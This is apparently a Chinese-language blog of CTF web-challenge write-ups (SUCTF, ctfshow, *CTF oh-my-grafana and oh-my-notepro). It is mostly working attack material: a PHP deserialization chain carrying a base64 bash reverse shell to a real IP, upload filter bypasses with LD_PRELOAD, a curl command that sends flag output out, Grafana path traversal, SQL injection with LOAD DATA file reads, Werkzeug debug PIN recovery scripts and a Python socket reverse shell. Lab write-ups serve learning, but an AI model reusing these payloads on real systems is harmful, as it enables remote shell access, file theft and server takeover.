1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class crow { public $v1 ; public $v2 ; } class fin { public $f1 ; } class what { public $a ; } class mix { public $m1 ; } $a = new fin ();$a ->f1 = new what ();$a ->f1->a = new fin ();$a ->f1->a->f1 = new crow ();$a ->f1->a->f1->v1 = new fin ();$a ->f1->a->f1->v1->f1 = new mix ();$a ->f1->a->f1->v1->f1->m1 = " echo exec(base64_decode(YmFzaCAtYyAnYmFzaCAtaT4mIC9kZXYvdGNwLzQ3LjEwNy41Ni4yNDQvODA4NiAwPiYxJw));" ;echo urlencode (serialize ($a ));
eval里面的#
是单行注释,把注入的命令的最开始的空格替换成换行符%0a
即可
查看phpinfo界面没有任何disable_function
因此直接rce
但直接查查不到,似乎只能输出一个,因此选择了弹shell,flag.php里是假flag,看见目录下一大堆同类名文件,直接cat *
得到flag
updgstore (赛后复现)
文件上传
上传phpinfo可以看到disable_function过滤了很多函数,但其实仔细搜索会发现很多函数没在里面,但上传就会发现有过滤,就卡死在这里了,赛后看wp才想起来大写绕过,真是大写的尴尬
总之使用Show_source成功读取到index.php的源码:
1 2 3 4 5 6 7 8 9 10 11 12 -----------------------------27879107436484325173113356327 Content-Disposition: form-data; name="upload_file" ; filename="a.php" Content-Type: text/plain <?php Show_source (base64_decode ("Li4vaW5kZXgucGhw" ));-----------------------------27879107436484325173113356327 Content-Disposition: form-data; name="submit" upload -----------------------------27879107436484325173113356327 --
可以看到过滤使用的方法是查找字符串,确实是可以使用大写绕过的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <div class ="light "><span class ="glow "> <form enctype ="multipart /form -data " method ="post " onsubmit ="return checkFile ()"> 嘿伙计,传个火?! <input class ="input_file " type ="file " name ="upload_file "/> <input class ="button " type ="submit " name ="submit " value ="upload "/> </form > </span ><span class ="flare "></span ><div > <?php function fun ($var ): bool { $blacklist = ["\$_" , "eval" ,"copy" ,"assert" ,"usort" ,"include" , "require" , "$" , "^" , "~" , "-" , "%" , "*" ,"file" ,"fopen" ,"fwriter" ,"fput" ,"copy" ,"curl" ,"fread" ,"fget" ,"function_exists" ,"dl" ,"putenv" ,"system" ,"exec" ,"shell_exec" ,"passthru" ,"proc_open" ,"proc_close" , "proc_get_status" ,"checkdnsrr" ,"getmxrr" ,"getservbyname" ,"getservbyport" , "syslog" ,"popen" ,"show_source" ,"highlight_file" ,"`" ,"chmod" ]; foreach ($blacklist as $blackword ){ if (strstr ($var , $blackword )) return True; } return False; } error_reporting (0 );define ("UPLOAD_PATH" , "./uploads" );$msg = "Upload Success!" ;if (isset ($_POST ['submit' ])) {$temp_file = $_FILES ['upload_file' ]['tmp_name' ];$file_name = $_FILES ['upload_file' ]['name' ];$ext = pathinfo ($file_name ,PATHINFO_EXTENSION);if (!preg_match ("/php/i" , strtolower ($ext ))){die ("只要好看的php" );} $content = file_get_contents ($temp_file );if (fun ($content )){ die ("诶,被我发现了吧" ); } $new_file_name = md5 ($file_name )."." .$ext ; $img_path = UPLOAD_PATH . '/' . $new_file_name ; if (move_uploaded_file ($temp_file , $img_path )){ $is_upload = true ; } else { $msg = 'Upload Failed!' ; die (); } echo '<div style="color:#F00">' .$msg ." Look here~ " .$img_path ."</div>" ; }
使用大写绕过匹配,include结合base64编码绕过,使用php伪协议以及base64-decode过滤器包含我们传的另一个文件即可执行任意代码,直接写
1 2 <?php Include (base64_decode ("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1lYzk2N2IyZDg3NDUzZmFkZGQ4YmJkODE5ZWMxNTVlYy5waHA=" ));
然后执行任意代码,我直接抄题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <div class ="light "><span class ="glow "> <form enctype ="multipart /form -data " method ="post " onsubmit ="return checkFile ()"> 嘿伙计,传个火?! <input class ="input_file " type ="file " name ="upload_file "/> <input class ="button " type ="submit " name ="submit " value ="upload "/> </form > </span ><span class ="flare "></span ><div > <?php //设置上传目录 define ("UPLOAD_PATH ", "./uploads ");$msg = "Upload Success !"; if (isset ($_POST ['submit '])) {$temp_file = $_FILES ['upload_file' ]['tmp_name' ];$file_name = $_FILES ['upload_file' ]['name' ];$ext = pathinfo ($file_name ,PATHINFO_EXTENSION);$content = file_get_contents ($temp_file );$new_file_name = $file_name ; $img_path = UPLOAD_PATH . '/' . $new_file_name ; putenv ("LD_PRELOAD=" .$temp_file ); mail ("[email protected]" ,"" ,"" ,"" ,"" ); }
修修改改,因为似乎没有移动权限,因此直接把它放这里,然后进行一个加载so文件的行为
转为base64编码即可上传
然后写马上传,之后立即就会执行,了个shell,先是读取到根目录和权限,flag很明显没有权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 total 4 drwxr-xr-x 1 root root 28 Jan 12 2021 bin drwxr-xr-x 2 root root 6 Nov 22 2020 boot drwxr-xr-x 5 root root 360 Mar 28 11:21 dev drwxr-xr-x 1 root root 66 Mar 28 11:21 etc -rw------- 1 root root 43 Mar 28 11:21 flag drwxr-xr-x 2 root root 6 Nov 22 2020 home drwxr-xr-x 1 root root 21 Jan 12 2021 lib drwxr-xr-x 2 root root 34 Jan 11 2021 lib64 drwxr-xr-x 2 root root 6 Jan 11 2021 media drwxr-xr-x 2 root root 6 Jan 11 2021 mnt drwxr-xr-x 2 root root 6 Jan 11 2021 opt dr-xr-xr-x 5688 root root 0 Mar 28 11:21 proc drwx------ 1 root root 22 Mar 22 01:51 root drwxr-xr-x 1 root root 21 Jan 12 2021 run drwxr-xr-x 1 root root 20 Jan 12 2021 sbin drwxr-xr-x 2 root root 6 Jan 11 2021 srv dr-xr-xr-x 13 root root 0 Dec 20 05:41 sys drwxrwxrwt 1 root root 23 Mar 28 13:02 tmp drwxr-xr-x 1 root root 17 Jan 11 2021 usr drwxr-xr-x 1 root root 17 Jan 12 2021 var
查找一个有root权限的命令:
#在根目录下查找用户为root,权限为4000的可执行程序,并且将匹配的文件输出到标准输出中
find / -user root -perm -4000 -print 2>/dev/null
1 2 3 4 5 -perm 匹配匹配权限 4000 SUID 程序执行时,如果该程序有SUID权限,会变成程序文件的属主,一般来说进程的属主是由进程的发起者来发起的,并不是程序文件的属主。 2000 SGID 在程序执行时,组身份会发生改变,从用户运行变成所属组运行。(当用户无法执行文件时,如果该程序有SGID权限,那么可以将用户的身份升级为该可执行该程序文件的属组) 1000 SBIT 当程序设定了SBIT权限,属组内的每个用户或者其他所有用户,只能创建文件和删除自己的文件,不能删除其他用户的文件。
发现存在nl命令可用,读取出flag
calc 附件下载源码查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directoryimport randomfrom urllib import parseimport osfrom werkzeug.utils import secure_filenameimport timeapp=Flask(__name__) def waf (s ): blacklist = ['import' ,'(' ,')' ,' ' ,'_' ,'|' ,';' ,'"' ,'{' ,'}' ,'&' ,'getattr' ,'os' ,'system' ,'class' ,'subclasses' ,'mro' ,'request' ,'args' ,'eval' ,'if' ,'subprocess' ,'file' ,'open' ,'popen' ,'builtins' ,'compile' ,'execfile' ,'from_pyfile' ,'config' ,'local' ,'self' ,'item' ,'getitem' ,'getattribute' ,'func_globals' ,'__init__' ,'join' ,'__dict__' ] flag = True for no in blacklist: if no.lower() in s.lower(): flag= False print (no) break return flag @app.route("/" ) def index (): "欢迎来到SUctf2022" return render_template("index.html" ) @app.route("/calc" ,methods=['GET' ] ) def calc (): ip = request.remote_addr num = request.values.get("num" ) log = "echo {0} {1} {2}> ./tmp/log.txt" .format (time.strftime("%Y%m%d-%H%M%S" ,time.localtime()),ip,num) if waf(num): try : data = eval (num) os.system(log) except : pass return str (data) else : return "waf!!" if __name__ == "__main__" : app.run(host='0.0.0.0' ,port=5000 )
eval处能执行代码,但过滤很多无法进行rce:
1 2 log = "echo {0} {1} {2}> ./tmp/log.txt" .format (time.strftime("%Y%m%d-%H%M%S" ,time.localtime()),ip,num) os.system(log)
两句可以直接执行命令,先经过eval函数正常执行后才能执行,避免python语句执行出错导致报错结束程序,使用python的注释符#
注释掉命令部分
1#`ls`
之后使用curl命令带出执行结果,使用制表符代替空格绕过过滤,最终payload
1 /calc?num=123%23`curl%09http%3A%2F%2Fyourip%3A8086%2F%3Fflag=\`cat%09*\``
ctfshow愚人杯 1 2 3 4 5 6 7 8 9 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
https://pic.imgdb.cn/item/623b196827f86abb2a648ac1.png
提示主页是假的,猜一下,index.php
1 2 3 4 5 6 7 8 <?php error_reporting (0 );if (isset ($_GET ['c' ])) { $c = $_GET ['c' ]; eval ($c ); } else { highlight_file (__FILE__ ); }
index.php?c=system(“ls”);
flag.php index.html index.php
index.php?c=system(“cat *”);
ctfshow{5Li65LqG5LiN6K6p5ZCE5L2N5biI5YKF5Lus5b6X5YiG77yM5oiR5oqKZmxhZ+WIoOS6hg==}
base64解一下:为了不让各位师傅们得分,我把flag删了
蛤?不可能,这是动态靶机,这该死的愚人节
index.php?c=system(“env”);
ctfshow{e5d00b5b-9b51-430a-8bd7-4e35938d6fcd}
还是假的,然后又去mysql逛了一圈,还是没有
赛后问了别的师傅,是隐藏文件,最后复现使用\
ls -a 得到.flag.php.swp
,vim的临时文件
还是对ls命令了解少了
starctf
oh-my-grafana fuzz
抓包,访问:
/public/plugins/canvas/../../../../../../../../../../../../../../../etc/grafana/grafana.ini
查到账密:
1 2 3 4 5 admin_user = adminadmin_password = 5 f989714e132c9b04d4807dafeb10ade
进入后打开explore,修改语句,直接查询
1 2 3 4 show tablesselect * from fffffflllllllllaaaagggggg
oh-my-notepro 直接登录,发现环境都被人hack通了,不过问题不大
随便写一个,点开一看,get处有可疑的参数
注一个,
select * from notes where note_id=’’’
一个报错连语句都出来了
1 2 3 4 5 6 7 8 9 10 0 % 27 order % 20 by % 205 % 23 0 % 27 union % 20 select % 201 ,2 ,3 ,4 ,(select % 20 group_concat(table_name)from % 20 information_schema.tables% 20 where % 20 table_schema= database())% 23 0 % 27 union % 20 select % 201 ,2 ,3 ,4 ,(select % 20 group_concat(column_name)from % 20 information_schema.columns% 20 where % 20 table_name= "users")% 23 0 % 27 union % 20 select % 201 ,2 ,3 ,4 ,(select % 20 user ())% 23
很明显,没权限,尝试load_file读取文件,结果为空
可以堆叠
1 2 3 4 5 6 7 8 create table huatest(cmd text);load data local infile '/etc/passwd' into table test 成功读取出 select group_concat(cmd) from hua1
但没法执行命令,这样没办法知道flag的位置
在报错的页面可以发现开启了flask debug,但是是有PIN码验证的
用个脚本计算PIN码的源码跑出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import requestsimport reimport timeimport htmlimport hashlibfrom itertools import chainurl = 'http://121.37.153.47:5002/' sql = 'view?note_id=' path = '/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py' data = { "username" :"xiquanmuhua" , "password" :"1" , "submit" :"Login!" } ks = requests.session() re1 = ks.post(url=url+'login' ,data=data) time = str (time.time()).replace('.' ,'' ) create = "0';create table hua" +time+"(cmd text)%23" load = "0';load data local infile '" +path+"' into table hua" +time+"%23" ks.get(url=url+sql+create) ks.get(url=url+sql+load) for i in range (1000 ): payload="0'union select 1,2,3,4,(select cmd from hua" +time+" limit " +str (i)+",1)%23" re3 = ks.get(url=url+sql+payload) line1 = re.findall('\s(.*?)\s \</h1' ,re3.text) cal = line1[0 ][0 :1000 ] if cal==' None' : break cal = html.unescape(cal) print (cal)
跑出该文件: /usr/local/lib/python3.8/site-packages/werkzeug/debug/init .py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 import getpass import hashlib import json import os import pkgutil import re import sys import time import typing as t import uuid from io import BytesIO from itertools import chain from os.path import basename from os.path import join from zlib import adler32 from .._internal import _log from ..exceptions import NotFound from ..http import parse_cookie from ..security import gen_salt from ..utils import send_file from ..wrappers.request import Request from ..wrappers.response import Response from .console import Console from .tbtools import DebugFrameSummary from .tbtools import DebugTraceback from .tbtools import render_console_html if t.TYPE_CHECKING: from _typeshed.wsgi import StartResponse from _typeshed.wsgi import WSGIApplication from _typeshed.wsgi import WSGIEnvironment PIN_TIME = 60 * 60 * 24 * 7 def hash_pin (pin: str ) -> str : return hashlib.sha1(f"{pin} added salt" .encode("utf-8" , "replace" )).hexdigest()[:12 ] _machine_id: t.Optional [t.Union [str , bytes ]] = None def get_machine_id () -> t.Optional [t.Union [str , bytes ]]: global _machine_id if _machine_id is not None : return _machine_id def _generate () -> t.Optional [t.Union [str , bytes ]]: linux = b"" for filename in "/etc/machine-id" , "/proc/sys/kernel/random/boot_id" : try : with open (filename, "rb" ) as f: value = f.readline().strip() except OSError: continue if value: linux += value break try : with open ("/proc/self/cgroup" , "rb" ) as f: linux += f.readline().strip().rpartition(b"/" )[2 ] except OSError: pass if linux: return linux try : from subprocess import Popen, PIPE dump = Popen( ["ioreg" , "-c" , "IOPlatformExpertDevice" , "-d" , "2" ], stdout=PIPE ).communicate()[0 ] match = re.search(b'"serial-number" = <([^>]+)' , dump) if match is not None : return match.group(1 ) except (OSError, ImportError): pass if sys.platform == "win32" : import winreg try : with winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Cryptography" , 0 , winreg.KEY_READ | winreg.KEY_WOW64_64KEY, ) as rk: guid: t.Union [str , bytes ] guid_type: int guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid" ) if guid_type == winreg.REG_SZ: return guid.encode("utf-8" ) return guid except OSError: pass return None _machine_id = _generate() return _machine_id class _ConsoleFrame : """Helper class so that we can reuse the frame console code for the standalone console. """ def __init__ (self, namespace: t.Dict [str , t.Any ] ): self.console = Console(namespace) self.id = 0 def eval (self, code: str ) -> t.Any : return self.console.eval (code) def get_pin_and_cookie_name ( app: "WSGIApplication" , ) -> t.Union [t.Tuple [str , str ], t.Tuple [None , None ]]: """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`. Second item in the resulting tuple is the cookie name for remembering. """ pin = os.environ.get("WERKZEUG_DEBUG_PIN" ) rv = None num = None if pin == "off" : return None , None if pin is not None and pin.replace("-" , "" ).isdigit(): if "-" in pin: rv = pin else : num = pin modname = getattr (app, "__module__" , t.cast(object , app).__class__.__module__) username: t.Optional [str ] try : username = getpass.getuser() except (ImportError, KeyError): username = None mod = sys.modules.get(modname) probably_public_bits = [ username, modname, getattr (app, "__name__" , type (app).__name__), getattr (mod, "__file__" , None ), ] private_bits = [str (uuid.getnode()), get_machine_id()] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = f"__wzd{h.hexdigest()[:20 ]} " if num is None : h.update(b"pinsalt" ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x : x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num return rv, cookie_name class DebuggedApplication : """Enables debugging support for a given application:: from werkzeug.debug import DebuggedApplication from myapp import app app = DebuggedApplication(app, evalex=True) The `evalex` keyword argument allows evaluating expressions in a traceback's frame context. :param app: the WSGI application to run debugged. :param evalex: enable exception evaluation feature (interactive debugging). This requires a non-forking server. :param request_key: The key that points to the request object in this environment. This parameter is ignored in current versions. :param console_path: the URL for a general purpose console. :param console_init_func: the function that is executed before starting the general purpose console. The return value is used as initial namespace. :param show_hidden_frames: by default hidden traceback frames are skipped. You can show them by setting this parameter to `True`. :param pin_security: can be used to disable the pin based security system. :param pin_logging: enables the logging of the pin system. """ _pin: str _pin_cookie: str def __init__ ( self, app: "WSGIApplication" , evalex: bool = False , request_key: str = "werkzeug.request" , console_path: str = "/console" , console_init_func: t.Optional [t.Callable [[], t.Dict [str , t.Any ]]] = None , show_hidden_frames: bool = False , pin_security: bool = True , pin_logging: bool = True , ) -> None : if not console_init_func: console_init_func = None self.app = app self.evalex = evalex self.frames: t.Dict [int , t.Union [DebugFrameSummary, _ConsoleFrame]] = {} self.request_key = request_key self.console_path = console_path self.console_init_func = console_init_func self.show_hidden_frames = show_hidden_frames self.secret = gen_salt(20 ) self._failed_pin_auth = 0 self.pin_logging = pin_logging if pin_security: if os.environ.get("WERKZEUG_RUN_MAIN" ) == "true" and pin_logging: _log("warning" , " * Debugger is active!" ) if self.pin is None : _log("warning" , " * Debugger PIN disabled. DEBUGGER UNSECURED!" ) else : _log("info" , " * Debugger PIN: %s" , self.pin) else : self.pin = None @property def pin (self ) -> t.Optional [str ]: if not hasattr (self, "_pin" ): pin_cookie = get_pin_and_cookie_name(self.app) self._pin, self._pin_cookie = pin_cookie return self._pin @pin.setter def pin (self, value: str ) -> None : self._pin = value @property def pin_cookie_name (self ) -> str : """The name of the pin cookie.""" if not hasattr (self, "_pin_cookie" ): pin_cookie = get_pin_and_cookie_name(self.app) self._pin, self._pin_cookie = pin_cookie return self._pin_cookie def debug_application ( self, environ: "WSGIEnvironment" , start_response: "StartResponse" ) -> t.Iterator[bytes ]: """Run the application and conserve the traceback frames.""" app_iter = None try : app_iter = self.app(environ, start_response) yield from app_iter if hasattr (app_iter, "close" ): app_iter.close() except Exception as e: if hasattr (app_iter, "close" ): app_iter.close() tb = DebugTraceback(e, skip=1 , hide=not self.show_hidden_frames) for frame in tb.all_frames: self.frames[id (frame)] = frame is_trusted = bool (self.check_pin_trust(environ)) html = tb.render_debugger_html( evalex=self.evalex, secret=self.secret, evalex_trusted=is_trusted, ) response = Response(html, status=500 , mimetype="text/html" ) try : yield from response(environ, start_response) except Exception: environ["wsgi.errors" ].write( "Debugging middleware caught exception in streamed " "response at a point where response headers were already " " ) environ[" wsgi.errors"].write(" ".join(tb.render_traceback_text())) def execute_command( self, request: Request, command: str, frame: t.Union[DebugFrameSummary, _ConsoleFrame], ) -> Response: " "" Execute a command in a console.""" return Response(frame.eval(command), mimetype="text/html") def display_console(self, request: Request) -> Response: """ Display a standalone shell.""" if 0 not in self.frames: if self.console_init_func is None: ns = {} else: ns = dict(self.console_init_func()) ns.setdefault("app", self.app) self.frames[0] = _ConsoleFrame(ns) is_trusted = bool(self.check_pin_trust(request.environ)) return Response( render_console_html(secret=self.secret, evalex_trusted=is_trusted), mimetype="text/html", ) def get_resource(self, request: Request, filename: str) -> Response: """ Return a static resource from the shared folder.""" path = join("shared", basename(filename)) try: data = pkgutil.get_data(__package__, path) except OSError: return NotFound() # type: ignore[return-value] else: if data is None: return NotFound() # type: ignore[return-value] etag = str(adler32(data) & 0xFFFFFFFF) return send_file( BytesIO(data), request.environ, download_name=filename, etag=etag ) def check_pin_trust(self, environ: "WSGIEnvironment") -> t.Optional[bool]: """ Checks if the request passed the pin test. This returns `True ` if the request is trusted on a pin/cookie basis and returns `False ` if not . Additionally if the cookie's stored pin hash is wrong it will return `None` so that appropriate action can be taken. """ if self.pin is None: return True val = parse_cookie(environ).get(self.pin_cookie_name) if not val or "|" not in val: return False ts, pin_hash = val.split("|", 1) if not ts.isdigit(): return False if pin_hash != hash_pin(self.pin): return None return (time.time() - PIN_TIME) < int(ts) def _fail_pin_auth(self) -> None: time.sleep(5.0 if self._failed_pin_auth > 5 else 0.5) self._failed_pin_auth += 1 def pin_auth(self, request: Request) -> Response: """Authenticates with the pin.""" exhausted = False auth = False trust = self.check_pin_trust(request.environ) pin = t.cast(str, self.pin) # If the trust return value is `None` it means that the cookie is # set but the stored pin hash value is bad. This means that the # pin was changed. In this case we count a bad auth and unset the # cookie. This way it becomes harder to guess the cookie name # instead of the pin as we still count up failures. bad_cookie = False if trust is None: self._fail_pin_auth() bad_cookie = True # If we' re trusted, we're authenticated. elif trust: auth = True # If we failed too many times, then we' re locked out. elif self._failed_pin_auth > 10 : exhausted = True else : entered_pin = request.args["pin" ] if entered_pin.strip().replace("-" , "" ) == pin.replace("-" , "" ): self._failed_pin_auth = 0 auth = True else : self._fail_pin_auth() rv = Response( json.dumps({"auth" : auth, "exhausted" : exhausted}), mimetype="application/json" , ) if auth: rv.set_cookie( self.pin_cookie_name, f"{int (time.time())} |{hash_pin(pin)} " , httponly=True , samesite="Strict" , secure=request.is_secure, ) elif bad_cookie: rv.delete_cookie(self.pin_cookie_name) return rv def log_pin_request (self ) -> Response: """Log the pin if needed.""" if self.pin_logging and self.pin is not None : _log( "info" , " * To enable the debugger you need to enter the security pin:" ) _log("info" , " * Debugger pin code: %s" , self.pin) return Response("" ) def __call__ ( self, environ: "WSGIEnvironment" , start_response: "StartResponse" ) -> t.Iterable[bytes ]: """Dispatch the requests.""" request = Request(environ) response = self.debug_application if request.args.get("__debugger__" ) == "yes" : cmd = request.args.get("cmd" ) arg = request.args.get("f" ) secret = request.args.get("s" ) frame = self.frames.get(request.args.get("frm" , type =int )) if cmd == "resource" and arg: response = self.get_resource(request, arg) elif cmd == "pinauth" and secret == self.secret: response = self.pin_auth(request) elif cmd == "printpin" and secret == self.secret: response = self.log_pin_request() elif ( self.evalex and cmd is not None and frame is not None and self.secret == secret and self.check_pin_trust(environ) ): response = self.execute_command(request, cmd, frame) elif ( self.evalex and self.console_path is not None and request.path == self.console_path ): response = self.display_console(request) return response(environ, start_response)
/etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ctf:x:1000:1000::/home/ctf:/bin/sh
ctf
/sys/class/net/eth0/address
转10进制
2485723336707
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def _generate () -> t.Optional [t.Union [str , bytes ]]: linux = b"" for filename in "/etc/machine-id" , "/proc/sys/kernel/random/boot_id" : try : with open (filename, "rb" ) as f: value = f.readline().strip() except OSError: continue if value: linux += value break try : with open ("/proc/self/cgroup" , "rb" ) as f: linux += f.readline().strip().rpartition(b"/" )[2 ] except OSError: pass if linux: return linux
/proc/self/cgroup
1 2 3 4 5 6 7 8 9 10 11 12 13 12:hugetlb:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 11:cpuset:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 10:rdma:/ 9:devices:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 8:blkio:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 7:freezer:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 6:perf_event:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 5:cpu,cpuacct:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 4:pids:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 3:memory:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 2:net_cls,net_prio:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 1:name=systemd:/docker/27463fd01e5d914f4b589d351c7c59462b1e4e0139e500835dc7719810e7e2b0 0::/system.slice/containerd.service
40e26dc06e3155fda79ecf8a42294928c385382fd8e0e037d6c93d020a4023f8
/etc/machine-id 1cc402dd0e11d5ae18db04a6de87223d
/proc/sys/kernel/random/boot_id e86c4117-eed3-4a37-82bc-b5fa47a88e0b
/usr/local/lib/python3.8/site-packages/flask/app.py
/view?note_id=0’||1=1
交PIN码
访问出错,然后打开console交互
弹shell import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“47.107.56.244”,8086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);
ls /
/readflag
*ctf{exploit_Update_with_Version}
PIN码一键计算脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 import requestsimport reimport timeimport htmlimport hashlibfrom itertools import chainurl = 'http://121.37.153.47:5002/' sql = 'view?note_id=' path2 = '/sys/class/net/eth0/address' path3 = '/proc/self/cgroup' path = '/etc/machine-id' data = { "username" :"xiquanmuhua" , "password" :"1" , "submit" :"Login!" } ks = requests.session() re1 = ks.post(url=url+'login' ,data=data) time = str (time.time()).replace('.' ,'' ) time2 = time+'2' time3 = time+'3' create = "0';create table hua" +time+"(cmd text)%23" create2 = "0';create table hua" +time2+"(cmd text)%23" create3 = "0';create table hua" +time3+"(cmd 